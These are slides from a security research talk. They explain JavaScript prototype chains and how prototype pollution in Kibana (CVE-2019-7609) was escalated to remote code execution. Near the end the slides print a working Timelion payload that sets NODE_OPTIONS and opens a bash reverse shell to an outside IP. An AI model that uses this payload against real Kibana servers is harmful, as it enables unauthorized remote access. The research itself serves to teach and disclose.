How can I access toString
if it is not a property of obj
?
The answer: prototype-based inheritance
Every object in JavaScript has a prototype
It can also be null
We can access it via __proto__
prop1 | |
prop2 | |
__proto__ |
obj
__defineGetter__ | |
__defineSetter__ | |
... | |
toString() | |
__proto__ |
Object.prototype
null
prop1 | |
prop2 | |
__proto__ |
obj
__defineGetter__ | |
__defineSetter__ | |
... | |
toString() | |
__proto__ |
Object.prototype
null
prop3 | |
prop4 | |
__proto__ |
obj2
When trying to access obj.prop3
...
obj
obj2
... | |
---|---|
__proto__ |
obj1
... | |
---|---|
__proto__ |
obj2
... | |
---|---|
__proto__ |
obj3
... | |
---|---|
__proto__ |
objN
.
.
.
In a nutshell, if JS engine looks for a property in obj1
, it needs to traverse the entire prototype chain.
The prototype chain ends when
__proto__ === null
.
Almost always, the final object (objN
) is Object.prototype
null
Prototype pollution occurs when there is a bug in application that makes it possible to pollute Object.prototype with arbitrary properties.
Suppose we have a code
if (user.isAdmin) {
// Do something important
}
And there's a bug in application so we can assign:
Object.prototype.isAdmin = true
Then everyone is an admin!
For general info about prototype pollution (eg. how to achieve it), check out the research by Olivier Arteau:
... because in this presentation, I'm going to focus on one specific instance of prototype pollution.
During a training organized by Securitum, one participant, Bartłomiej Pokrzywiński, wanted to practice exploiting a real-world vulnerability, on the example of CVE-2019-7609, and was looking for some support.
And this indeed led to a pretty interesting research how this vulnerability can be exploited in real world.
This is a way to pollute the
prototype
Let's see how we can DoS the application...
In real world, Kibana needs to be restarted at this point.
But I can fix it via debugger.
After "fixing" Object.prototype, Kibana works fine again.
Now I had to find some code to transform prototype pollution to RCE.
I had not idea what exactly I was looking for.
The dreamy code would be similar to:
if (obj.jsCode) {
eval(obj.jsCode);
}
😀
Obviously, didn't find anything like that.
But, incidentally, I noticed something peculiar.
At this point, I noticed a lot of errors in the Kibana output.
Why so many errors?
I run Kibana with --inspect
(this runs the debugger on port 9229).
And now I'm getting a lot of errors that the port is already used.
Conclusion: Kibana tries to spawn a new process!
This function is basically a prototype pollution paradise.
Lots of undefined properties are being accessed.
All of them can be polluted.
This is a list of environmental variables that will be passed to the new process
node
process.But perhaps there are other command line arguments that are equivalent to eval?
So I can run arbitrary JS code via
--require but I need to upload my own file to the Kibana server.
... or do I?
This is a valid
JS code
This confirms that I can execute arbitrary JS code if I control env variables when spawning node process.
No file upload needed!
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
The exploit is not perfectly reliable.
If the new process has already been spawned, we cannot run another one.
It is also not perfect.
I'm abusing some specific feature of Linux (/proc/self/environ
). Would be better if the exploit was pure JS.
What I find is basically a gadget: if an application is vulnerable to prototype pollution, and it spawns a new process, we can use exactly the same code.
When stars are aligned, prototype pollution can be exploited to RCE.